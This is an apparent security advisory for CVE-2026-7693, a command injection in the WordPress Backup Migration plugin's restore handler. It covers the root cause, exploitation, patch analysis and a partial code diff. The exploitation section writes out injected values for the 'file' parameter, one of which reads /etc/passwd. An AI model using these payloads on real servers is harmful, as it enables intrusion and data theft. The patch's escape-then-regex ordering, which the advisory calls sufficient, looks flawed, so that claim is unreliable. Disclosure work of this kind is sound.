Published : August 5, 2026

CVE-2026-7693: Backup Migration <= 2.1.5.1 Authenticated (Administrator+) OS Command Injection via 'file' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-7693
Plugin backup-backup
Severity High (CVSS 7.2)
CWE 77
Vulnerable Version 2.1.1
Patched Version 2.1.5.2
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7693:
This vulnerability is an authenticated OS Command Injection flaw found in the Backup Migration plugin for WordPress, specifically affecting all versions up to and including 2.1.5.1. The issue resides in the `restoreBackup()` AJAX handler within the plugin’s `includes/ajax.php` file. It allows an attacker with Administrator-level privileges, or any user granted the `do_backups` capability, to execute arbitrary operating system commands on the web server by manipulating the `file` POST parameter.

Root Cause:
The root cause is insufficient sanitization of the `file` POST parameter before its use in a system command. In the vulnerable code within the `restoreBackup()` method (around line 3015 of `includes/ajax.php`), the plugin retrieves the `file` parameter and passes it through the `esc_attr()` function. `esc_attr()` is an HTML-context sanitizer designed to prevent cross-site scripting (XSS), but it does not strip or neutralize shell metacharacters like `;`, `&`, `|`, backticks, or command substitution syntax. The unsanitized value is then concatenated, unquoted, into a command string: `@exec(BMI_CLI_EXECUTABLE . ‘ -f “‘ . $cliHandler . ‘” bmi_restore ‘ . $backupName . ‘ ‘ . $remoteType . ‘ > /dev/null &’, $res)`. This command is executed via `exec()`, allowing an attacker to break out of the intended argument and inject arbitrary OS commands. This is an incomplete fix for CVE-2023-7002, which applied proper mitigations (`rawurlencode()` and explicit shell-metachar replacement) to the `$_POST[‘url’]` path in `handleQuickMigration()` but never to `$backupName` in the restore handler.

Exploitation:
To exploit this, an attacker must be authenticated as an Administrator. The attacker would craft a POST request to the WordPress admin-ajax endpoint (`/wp-admin/admin-ajax.php`). The request would need to include the nonce for the backup action and specify the vulnerable [action] handler. The critical payload is delivered via the `file` POST parameter. For example, setting `file` to a value like `legit.tar.gz;id;` or `legit.tar.gz|cat /etc/passwd` would cause the shell to execute the legitimate command and then execute the injected `id` or `cat /etc/passwd` command. This gives the attacker the ability to execute any system command with the permissions of the web server user (e.g., `www-data`).

Patch Analysis:
The patch, implemented in version 2.1.5.2, directly addresses the root cause. The vulnerable line `$backupName = esc_attr($this->post[‘file’]);` was replaced with a multi-step mitigation process. First, `$backupName = escapeshellarg($this->post[‘file’]);` is used to properly escape the input for safe inclusion in a shell command, neutralizing shell metacharacters. Second, a regular expression check `/^[A-Za-z0-9._-]+.(zip|tar|tar.gz)$/` validates that the filename only consists of alphanumeric characters, dots, underscores, and hyphens, and has a specific archive extension. If this check fails, the function returns a ‘Invalid backup file name.’ error. Finally, a `file_exists()` check on `BMI_BACKUPS . ‘/’ . $backupName` verifies that the specified backup file actually exists in the expected directory. These combined checks prevent command injection and also restrict the operation to legitimate backup files.

Impact:
Successful exploitation results in Remote Code Execution (RCE) with the privileges of the web server user. This allows the attacker to fully compromise the WordPress installation and potentially the underlying server. The attacker could read, modify, or delete sensitive files, including `wp-config.php` and the entire database. They could also create new admin users, install backdoors or malware, or pivot to other systems on the network. The vulnerability bypasses WordPress hardening constants such as `DISALLOW_FILE_EDIT` and `DISALLOW_FILE_MODS`, which are designed to prevent code execution from the admin UI, making it a critical and high-impact flaw.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/backup-backup/analyst/autoload.php
+++ b/backup-backup/analyst/autoload.php
@@ -9,9 +9,13 @@
 require_once __DIR__ . '/src/Contracts/RequestorContract.php';
 require_once __DIR__ . '/src/Contracts/TrackerContract.php';
 require_once __DIR__ . '/src/Contracts/CacheContract.php';
+require_once __DIR__ . '/src/Contracts/StorageContract.php';

 require_once __DIR__ . '/src/Core/AbstractFactory.php';

+require_once __DIR__ . '/src/Storage/DatabaseStorage.php';
+require_once __DIR__ . '/src/Storage/FileStorage.php';
+
 require_once __DIR__ . '/src/Cache/DatabaseCache.php';

 require_once __DIR__ . '/src/Account/Account.php';
--- a/backup-backup/analyst/src/Account/Account.php
+++ b/backup-backup/analyst/src/Account/Account.php
@@ -221,7 +221,7 @@
       die;
     }

-    if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['nonce']), 'analyst_opt_ajax_nonce')) {
+    if (!isset($_POST['analyst_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['analyst_nonce']), 'analyst_opt_ajax_nonce')) {
       wp_send_json_error(['message' => 'invalid_nonce']);
       die;
     }
--- a/backup-backup/analyst/src/Account/AccountDataFactory.php
+++ b/backup-backup/analyst/src/Account/AccountDataFactory.php
@@ -3,6 +3,7 @@
 namespace Account;


+use AnalystContractsStorageContract;
 use AnalystCoreAbstractFactory;

 /**
@@ -16,7 +17,7 @@
 {
 	private static $instance;

-	CONST OPTIONS_KEY = 'analyst_accounts_data';
+	CONST STORAGE_KEY = 'analyst_accounts_data';

 	/**
 	 * @var AccountData[]
@@ -24,23 +25,48 @@
 	protected $accounts = [];

 	/**
-	 * Read factory from options or make fresh instance
+	 * @var StorageContract
+	 */
+	private static $primaryStorage;
+
+	/**
+	 * @var StorageContract
+	 */
+	private static $secondaryStorage;
+
+	/**
+	 * Set the primary and secondary storage backends.
+	 *
+	 * @param StorageContract $primary
+	 * @param StorageContract $secondary
+	 */
+	public static function setStorageBackends(StorageContract $primary, StorageContract $secondary)
+	{
+		static::$primaryStorage = $primary;
+		static::$secondaryStorage = $secondary;
+	}
+
+	/**
+	 * Read factory from storage or make fresh instance.
+	 * Tries primary storage first, then falls back to secondary.
 	 *
 	 * @return static
 	 */
 	public static function instance()
 	{
 		if (!static::$instance) {
-			$raw = get_option(self::OPTIONS_KEY);
+			static::$instance = static::loadFromStorage(static::$primaryStorage);

-			// In case object is already unserialized
-			// and instance of AccountDataFactory we
-			// return it, in other case deal with
-			// serialized string data
-			if ($raw instanceof self) {
-				static::$instance = $raw;
-			} else {
-				static::$instance = is_string($raw) ? static::unserialize($raw) : new self();
+			if (!static::$instance || empty(static::$instance->accounts)) {
+				$fallback = static::loadFromStorage(static::$secondaryStorage);
+
+				if ($fallback && !empty($fallback->accounts)) {
+					static::$instance = $fallback;
+				}
+			}
+
+			if (!static::$instance) {
+				static::$instance = new self();
 			}
 		}

@@ -48,15 +74,48 @@
 	}

 	/**
-	 * Sync this object data with cache
+	 * Attempt to load the factory from a storage backend.
+	 *
+	 * @param StorageContract|null $storage
+	 * @return static|null
+	 */
+	private static function loadFromStorage($storage)
+	{
+		if (!$storage) {
+			return null;
+		}
+
+		$raw = $storage->get(self::STORAGE_KEY);
+
+		if ($raw instanceof self) {
+			return $raw;
+		}
+
+		if (is_string($raw) && !empty($raw)) {
+			return static::unserialize($raw);
+		}
+
+		return null;
+	}
+
+	/**
+	 * Persist current state to both storage backends.
 	 */
 	public function sync()
 	{
-		update_option(self::OPTIONS_KEY, serialize($this));
+		$serialized = serialize($this);
+
+		if (static::$primaryStorage) {
+			static::$primaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
+
+		if (static::$secondaryStorage) {
+			static::$secondaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
 	}

 	/**
-	 * Sync this instance data with cache
+	 * Sync the singleton instance to storage.
 	 */
 	public static function syncData()
 	{
--- a/backup-backup/analyst/src/Analyst.php
+++ b/backup-backup/analyst/src/Analyst.php
@@ -7,8 +7,11 @@

 use AccountAccount;
 use AccountAccountDataFactory;
+use AnalystCacheDatabaseCache;
 use AnalystContractsAnalystContract;
 use AnalystContractsRequestorContract;
+use AnalystStorageDatabaseStorage;
+use AnalystStorageFileStorage;

 class Analyst implements AnalystContract
 {
@@ -65,6 +68,12 @@

 	protected function __construct()
 	{
+		$dbStorage = new DatabaseStorage();
+		$fileStorage = new FileStorage();
+
+		DatabaseCache::setStorageBackends($dbStorage, $fileStorage);
+		AccountDataFactory::setStorageBackends($dbStorage, $fileStorage);
+
 		$this->mutator = new Mutator();

 		$this->accountDataFactory = AccountDataFactory::instance();
--- a/backup-backup/analyst/src/Cache/DatabaseCache.php
+++ b/backup-backup/analyst/src/Cache/DatabaseCache.php
@@ -3,20 +3,52 @@
 namespace AnalystCache;

 use AnalystContractsCacheContract;
+use AnalystContractsStorageContract;

 /**
  * Class DatabaseCache
  *
+ * In-memory key-value cache that persists to dual storage backends.
+ *
  * @since 1.1.5
  */
 class DatabaseCache implements CacheContract
 {
-	const OPTION_KEY = 'analyst_cache';
+	const STORAGE_KEY = 'analyst_cache';

 	protected static $instance;

 	/**
-	 * Get instance of db cache
+	 * @var StorageContract
+	 */
+	private static $primaryStorage;
+
+	/**
+	 * @var StorageContract
+	 */
+	private static $secondaryStorage;
+
+	/**
+	 * Key value pairs
+	 *
+	 * @var array
+	 */
+	protected $values = [];
+
+	/**
+	 * Set the primary and secondary storage backends.
+	 *
+	 * @param StorageContract $primary
+	 * @param StorageContract $secondary
+	 */
+	public static function setStorageBackends(StorageContract $primary, StorageContract $secondary)
+	{
+		self::$primaryStorage = $primary;
+		self::$secondaryStorage = $secondary;
+	}
+
+	/**
+	 * Get singleton instance.
 	 *
 	 * @return DatabaseCache
 	 */
@@ -30,35 +62,41 @@
 	}

 	/**
-	 * Key value pair
-	 *
-	 * @var array[]
-	 */
-	protected $values = [];
-
-	/**
 	 * DatabaseCache constructor.
 	 */
 	public function __construct()
 	{
-		$raw = get_option(self::OPTION_KEY, serialize([]));
+		$this->values = $this->loadValues(self::$primaryStorage);

-		// Raw data may be an array already
-		$this->values = is_array($raw) ? $raw : @unserialize($raw);
+		if (empty($this->values)) {
+			$this->values = $this->loadValues(self::$secondaryStorage);
+		}
+	}

-		// In case serialization is failed
-		// make sure values is an array
-		if (!is_array($this->values)) {
-			$this->values = [];
+	/**
+	 * Load values from a storage backend.
+	 *
+	 * @param StorageContract|null $storage
+	 * @return array
+	 */
+	private function loadValues($storage)
+	{
+		if (!$storage) {
+			return [];
 		}
+
+		$raw = $storage->get(self::STORAGE_KEY, serialize([]));
+
+		$values = is_array($raw) ? $raw : @unserialize($raw);
+
+		return is_array($values) ? $values : [];
 	}

 	/**
-	 * Save value with given key
+	 * Save value with given key.
 	 *
 	 * @param string $key
 	 * @param string $value
-	 *
 	 * @return static
 	 */
 	public function put($key, $value)
@@ -71,23 +109,21 @@
 	}

 	/**
-	 * Get value by given key
+	 * Get value by given key.
 	 *
-	 * @param $key
-	 *
-	 * @param null $default
-	 * @return string
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
 	 */
 	public function get($key, $default = null)
 	{
-		$value = isset($this->values[$key]) ? $this->values[$key] : $default;
-
-		return $value;
+		return isset($this->values[$key]) ? $this->values[$key] : $default;
 	}

 	/**
-	 * @param $key
+	 * Remove a value by key.
 	 *
+	 * @param string $key
 	 * @return static
 	 */
 	public function delete($key)
@@ -102,23 +138,31 @@
 	}

 	/**
-	 * Update cache in DB
+	 * Persist current values to both storage backends.
 	 */
 	protected function sync()
 	{
-		update_option(self::OPTION_KEY, serialize($this->values));
+		$serialized = serialize($this->values);
+
+		if (self::$primaryStorage) {
+			self::$primaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
+
+		if (self::$secondaryStorage) {
+			self::$secondaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
 	}

 	/**
-	 * Should get value and remove it from cache
+	 * Get a value and remove it from cache.
 	 *
-	 * @param $key
-	 * @param null $default
+	 * @param string $key
+	 * @param mixed $default
 	 * @return mixed
 	 */
 	public function pop($key, $default = null)
 	{
-		$value = $this->get($key);
+		$value = $this->get($key, $default);

 		$this->delete($key);

--- a/backup-backup/analyst/src/Contracts/StorageContract.php
+++ b/backup-backup/analyst/src/Contracts/StorageContract.php
@@ -0,0 +1,40 @@
+<?php
+
+namespace AnalystContracts;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Interface StorageContract
+ *
+ * Defines a simple key-value persistence layer.
+ * Implementations may use the database, filesystem, or any other backend.
+ */
+interface StorageContract
+{
+	/**
+	 * Retrieve a value by key.
+	 *
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null);
+
+	/**
+	 * Store a value under the given key.
+	 *
+	 * @param string $key
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value);
+
+	/**
+	 * Remove a value by key.
+	 *
+	 * @param string $key
+	 * @return bool
+	 */
+	public function delete($key);
+}
--- a/backup-backup/analyst/src/Mutator.php
+++ b/backup-backup/analyst/src/Mutator.php
@@ -90,7 +90,7 @@
 			wp_enqueue_style('analyst_custom', analyst_assets_url('/css/customize.css'));
 			wp_enqueue_script('analyst_custom', analyst_assets_url('/js/customize.js'));
       wp_localize_script('analyst_custom', 'analyst_opt_localize', array(
-        'nonce' => wp_create_nonce('analyst_opt_ajax_nonce')
+        'analyst_nonce' => wp_create_nonce('analyst_opt_ajax_nonce')
       ));
 		});
 	}
@@ -125,7 +125,7 @@
         die;
       }

-      if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['nonce']), 'analyst_opt_ajax_nonce')) {
+      if (!isset($_POST['analyst_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['analyst_nonce']), 'analyst_opt_ajax_nonce')) {
         wp_send_json_error(['message' => 'invalid_nonce']);
         die;
       }
--- a/backup-backup/analyst/src/Storage/DatabaseStorage.php
+++ b/backup-backup/analyst/src/Storage/DatabaseStorage.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace AnalystStorage;
+
+use AnalystContractsStorageContract;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Class DatabaseStorage
+ *
+ * Persists key-value data using the WordPress wp_options table.
+ */
+class DatabaseStorage implements StorageContract
+{
+	/**
+	 * @param string $key The wp_options option name.
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null)
+	{
+		$value = get_option($key, null);
+
+		return $value !== null ? $value : $default;
+	}
+
+	/**
+	 * @param string $key The wp_options option name.
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value)
+	{
+		return update_option($key, $value);
+	}
+
+	/**
+	 * @param string $key The wp_options option name.
+	 * @return bool
+	 */
+	public function delete($key)
+	{
+		return delete_option($key);
+	}
+}
--- a/backup-backup/analyst/src/Storage/FileStorage.php
+++ b/backup-backup/analyst/src/Storage/FileStorage.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace AnalystStorage;
+
+use AnalystContractsStorageContract;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Class FileStorage
+ *
+ * Persists key-value data as individual dotname files inside wp-content.
+ * Each key maps to a file named ".analyst_{key}" in WP_CONTENT_DIR.
+ * Values are serialized and base64-encoded to safely store arbitrary data.
+ */
+class FileStorage implements StorageContract
+{
+	/**
+	 * Base directory for storage files.
+	 *
+	 * @var string
+	 */
+	protected $directory;
+
+	public function __construct()
+	{
+		$this->directory = rtrim(WP_CONTENT_DIR, '/\');
+	}
+
+	/**
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		if (!file_exists($filePath) || !is_readable($filePath)) {
+			return $default;
+		}
+
+		$encoded = @file_get_contents($filePath);
+
+		if ($encoded === false || $encoded === '') {
+			return $default;
+		}
+
+		$raw = base64_decode($encoded, true);
+
+		if ($raw === false) {
+			return $default;
+		}
+
+		return @unserialize($raw);
+	}
+
+	/**
+	 * @param string $key
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		$encoded = base64_encode(serialize($value));
+
+		return @file_put_contents($filePath, $encoded, LOCK_EX) !== false;
+	}
+
+	/**
+	 * @param string $key
+	 * @return bool
+	 */
+	public function delete($key)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		if (file_exists($filePath)) {
+			return @unlink($filePath);
+		}
+
+		return true;
+	}
+
+	/**
+	 * Build the absolute file path for a given key.
+	 *
+	 * @param string $key
+	 * @return string
+	 */
+	private function resolveFilePath($key)
+	{
+		$safeKey = preg_replace('/[^a-zA-Z0-9_-]/', '_', $key);
+
+		return $this->directory . '/.analyst_' . $safeKey;
+	}
+}
--- a/backup-backup/analyst/templates/forms/deactivate.php
+++ b/backup-backup/analyst/templates/forms/deactivate.php
@@ -132,7 +132,7 @@
       var data = {
         action: 'analyst_plugin_deactivate_' + pluginId,
 		    question: question,
-        nonce: analyst_opt_localize.nonce
+        analyst_nonce: analyst_opt_localize.analyst_nonce
       }

 	  if (reason) {
--- a/backup-backup/analyst/templates/forms/install.php
+++ b/backup-backup/analyst/templates/forms/install.php
@@ -50,7 +50,7 @@
         method: 'POST',
         data: {
           action: 'analyst_install_' + pluginId,
-          nonce: analyst_opt_localize.nonce
+          analyst_nonce: analyst_opt_localize.analyst_nonce
         },
         success: function (data) {
 		  if (data && !data.success) {
@@ -109,7 +109,7 @@

 	  $.post(ajaxurl, {
       action: 'analyst_skip_install_' + pluginId,
-      nonce: analyst_opt_localize.nonce
+      analyst_nonce: analyst_opt_localize.analyst_nonce
     }).done(function () {
 		  $('#analyst-install-modal').hide()
     })
--- a/backup-backup/analyst/templates/optin.php
+++ b/backup-backup/analyst/templates/optin.php
@@ -16,7 +16,7 @@
         method: 'POST',
         data: {
           action: 'analyst_opt_in_' + pluginId,
-          nonce: analyst_opt_localize.nonce
+          analyst_nonce: analyst_opt_localize.analyst_nonce
         },
         success: function () {
           $('#analyst-opt-in-modal').hide()
--- a/backup-backup/analyst/templates/optout.php
+++ b/backup-backup/analyst/templates/optout.php
@@ -67,7 +67,7 @@
           method: 'POST',
           data: {
             action: 'analyst_opt_out_' + pluginId,
-            nonce: analyst_opt_localize.nonce
+            analyst_nonce: analyst_opt_localize.analyst_nonce
           },
           success: function (data) {
             $(self).text('Opt out')
--- a/backup-backup/analyst/version.php
+++ b/backup-backup/analyst/version.php
@@ -2,7 +2,7 @@

 return array(
     // The sdk version
-    'sdk' => '1.3.30',
+    'sdk' => '1.3.32',

     // Minimum supported WordPress version
     'wp' => '4.7',
--- a/backup-backup/backup-backup.php
+++ b/backup-backup/backup-backup.php
@@ -2,12 +2,12 @@

   /**
    * Plugin Name: Backup Migration
-   * Description: Most sophisticated backup & migration plugin for WordPress
+   * Description: Backup, migrate, and create staging sites with free cloud storage and support.
    *      Author: Inisev
    *  Author URI: https://inisev.com
    *  Plugin URI: https://backupbliss.com
    * Text Domain: backup-backup
-   *     Version: 2.1.1
+   *     Version: 2.1.5.2
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

   // Exit on direct access
@@ -21,7 +21,7 @@
     define('BMI_DEBUG', false);
   }
   if (!defined('BMI_VERSION')) {
-    define('BMI_VERSION', '2.1.1');
+    define('BMI_VERSION', '2.1.5.2');
   }
   if (!defined('BMI_ROOT_DIR')) {
     define('BMI_ROOT_DIR', __DIR__);
--- a/backup-backup/includes/ajax.php
+++ b/backup-backup/includes/ajax.php
@@ -85,7 +85,7 @@
       }

       // Create background logs file
-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (!file_exists($backgroundLogsPath)) {
         @touch($backgroundLogsPath);
       }
@@ -1115,7 +1115,8 @@
   {

     $cron_shared = get_option('bmi_cron_new_domain_done', false);
-    if ($cron_shared && !$force) return ['status' => 'success'];
+    if (($cron_shared || get_transient('bmi_cron_share_attempted')) && !$force) return ['status' => 'success'];
+    set_transient('bmi_cron_share_attempted', true, HOUR_IN_SECONDS);
     $baseurl = home_url();
     if (substr($baseurl, 0, 4) != 'http') {
       if (is_ssl()) $baseurl = 'https://' . home_url();
@@ -2278,12 +2279,12 @@
       }

       // Remove too large logs
-      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log';
+      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($completeLogsPath) && (filesize($completeLogsPath) / 1024 / 1024) >= 3) {
         @unlink($completeLogsPath);
       }

-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($backgroundLogsPath) && (filesize($backgroundLogsPath) / 1024 / 1024) >= 3) {
         @unlink($backgroundLogsPath);
       }
@@ -2411,7 +2412,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log');
+        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
       }

       // Double check for .space_check file
@@ -2948,7 +2949,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log');
+        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
       }


@@ -3015,7 +3016,13 @@
         if ($cli_result !== false) {

           $cliHandler = trailingslashit(sanitize_text_field(BMI_INCLUDES)) . 'cli-handler.php';
-          $backupName = esc_attr($this->post['file']);
+          $backupName = escapeshellarg($this->post['file']);
+          if ( ! preg_match( '/^[A-Za-z0-9._-]+.(zip|tar|tar.gz)$/', $backupName ) ) {
+            return ['status' => 'msg', 'why' => __('Invalid backup file name.', 'backup-backup'), 'level' => 'error'];
+          }
+          if ( ! file_exists( BMI_BACKUPS . '/' . $backupName ) ) {
+            return ['status' => 'msg', 'why' => __('Backup not found.', 'backup-backup'), 'level' => 'error'];
+          }
           $remoteType = 'false';
           if ($this->post['remote'] == 'true' || $this->post['remote'] === true) $remoteType = 'true';
           if (file_exists($lock_cli_end)) @unlink($lock_cli_end);
@@ -3109,6 +3116,7 @@
       if (defined('WP_SITEURL') && strlen(WP_SITEURL) > 8) $homeURL = WP_SITEURL;

       $migration->log(__("Site which will be restored: ", 'backup-backup') . $homeURL, 'info');
+      $migration->log(__("Backup file which will be restored: ", 'backup-backup') . esc_attr($this->post['file']), 'verbose');
       $migration->log(__("PHP Version: ", 'backup-backup') . PHP_VERSION, 'info');
       $migration->log(__("WP Version: ", 'backup-backup') . $wp_version, 'info');
       $migration->log(__("MySQL Version: ", 'backup-backup') . $GLOBALS['wpdb']->db_version(), 'info');
@@ -3439,7 +3447,7 @@
           $cliHandler = trailingslashit(sanitize_text_field(BMI_INCLUDES)) . 'cli-handler.php';

           $res = null;
-          @exec(BMI_CLI_EXECUTABLE . ' -f "' . $cliHandler . '" bmi_quick_migration "' . $url . '" > /dev/null &', $res);
+          @exec(BMI_CLI_EXECUTABLE . ' -f "' . $cliHandler . '" bmi_quick_migration ' . escapeshellarg($url) . ' > /dev/null &', $res);
           $res = implode("n", $res);

           sleep(2);
@@ -3673,6 +3681,10 @@
       $errors = 0;
       $created = false;

+      if ($dir_path == WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'backup-migration') {
+          return ['status' => 'msg', 'why' => __('For security reasons, please add a random string to the end of the default backup directory path. This will help protect your backup files from unauthorized access.', 'backup-backup'), 'level' => 'warning'];
+      }
+
       if (!preg_match("/^[a-zA-Z0-9_ -/.]+$/", $dir_path)) {
        return ['status' => 'msg', 'why' => __('Entered directory/path name does not match allowed characters (Local Storage).', 'backup-backup'), 'level' => 'warning'];
       }
@@ -3801,6 +3813,14 @@

         }

+        if (isset($this->post['pcloud'])) {
+          $pcloudenabled = $this->post['pcloud'];
+          if (!Dashboardbmi_set_config('STORAGE::EXTERNAL::PCLOUD', $pcloudenabled)) {
+            $errors++;
+          }
+        }
+
+
       }

       if (is_writable($dir_path)) {
@@ -3876,7 +3896,7 @@
             if (file_exists($tmp_cur_dir . DIRECTORY_SEPARATOR . 'index.html')) @unlink($tmp_cur_dir . DIRECTORY_SEPARATOR . 'index.html');
             if (file_exists($tmp_cur_dir)) @rmdir($tmp_cur_dir);

-            if (file_exists($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.log')) @unlink($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.log');
+            if (file_exists($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log')) @unlink($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
             if (file_exists($cur_dir)) @rmdir($cur_dir);

             if (is_dir($cur_dir) && file_exists($cur_dir)) {
@@ -3941,6 +3961,7 @@
       $uninstall_config = $this->post['uninstall_config'] === 'true' ? true : false; // OTHER:UNINSTALL:CONFIGS
       $uninstall_backups = $this->post['uninstall_backups'] === 'true' ? true : false; // OTHER:UNINSTALL:BACKUPS
       $use_new_search_replace_engine = $this->post['use_new_search_replace_engine'] === 'true' ? true : false; // OTHER::NEW_SEARCH_REPLACE_ENGINE
+      $use_new_database_export_engine = $this->post['use_new_database_export_engine'] === 'true' ? true : false; // OTHER::NEW_DATABASE_EXPORT_ENGINE

       if ($experiment_timeout_hard === true) {
         $experiment_timeout = false;
@@ -4085,6 +4106,10 @@
         Logger::error('Backup Other DB Search Replace New Engine Error');
         $error++;
       }
+      if (!Dashboardbmi_set_config('OTHER::NEW_DATABASE_EXPORT_ENGINE', $use_new_database_export_engine)) {
+        Logger::error('Backup Other DB New Export Engine Error');
+        $error++;
+      }

       if (has_action('bmi_premium_other_options')) {
         do_action('bmi_premium_other_options', $this->post);
@@ -4992,6 +5017,9 @@
         case 'gdrive-issues':
           delete_transient('bmip_gd_issue');
           break;
+        case 'pcloud-issues':
+          update_option('bmip_pcloud_dismiss_issue', true);
+          break;
         case 'backupbliss-issues':
           $backupbliss->removeNotice("invalid_key");
           $backupbliss->removeNotice("invalid_permission");
@@ -5063,7 +5091,7 @@

       }

-      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php', 'awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php'];
+      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php', 'awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php', 'pcloudKeys.php'];
       foreach (glob(BMI_TMP . DIRECTORY_SEPARATOR . '.*') as $filename) {

         $basename = basename($filename);
@@ -5147,7 +5175,7 @@

       }

-      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php','awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php'];
+      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php','awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php', 'pcloudKeys.php'];
       foreach (glob(BMI_TMP . DIRECTORY_SEPARATOR . '.*') as $filename) {

         $basename = basename($filename);
@@ -5230,35 +5258,35 @@
       $pluginGlobalLogs = 'does_not_exist';
       $backgroundErrors = 'does_not_exist';

-      if (file_exists(BMI_BACKUPS . '/latest.log')) {
-        $latestBackupLogs = file_get_contents(BMI_BACKUPS . '/latest.log');
+      if (file_exists(BMI_BACKUPS . '/latest.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestBackupLogs = file_get_contents(BMI_BACKUPS . '/latest.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_progress.log')) {
-        $latestBackupProgress = file_get_contents(BMI_BACKUPS . '/latest_progress.log');
+      if (file_exists(BMI_BACKUPS . '/latest_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestBackupProgress = file_get_contents(BMI_BACKUPS . '/latest_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_migration.log')) {
-        $latestRestorationLogs = file_get_contents(BMI_BACKUPS . '/latest_migration.log');
+      if (file_exists(BMI_BACKUPS . '/latest_migration.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestRestorationLogs = file_get_contents(BMI_BACKUPS . '/latest_migration.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_migration_progress.log')) {
-        $latestRestorationProgress = file_get_contents(BMI_BACKUPS . '/latest_migration_progress.log');
+      if (file_exists(BMI_BACKUPS . '/latest_migration_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestRestorationProgress = file_get_contents(BMI_BACKUPS . '/latest_migration_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_STAGING . '/latest_staging.log')) {
-        $latestStagingLogs = file_get_contents(BMI_STAGING . '/latest_staging.log');
+      if (file_exists(BMI_STAGING . '/latest_staging.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestStagingLogs = file_get_contents(BMI_STAGING . '/latest_staging.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_STAGING . '/latest_staging_progress.log')) {
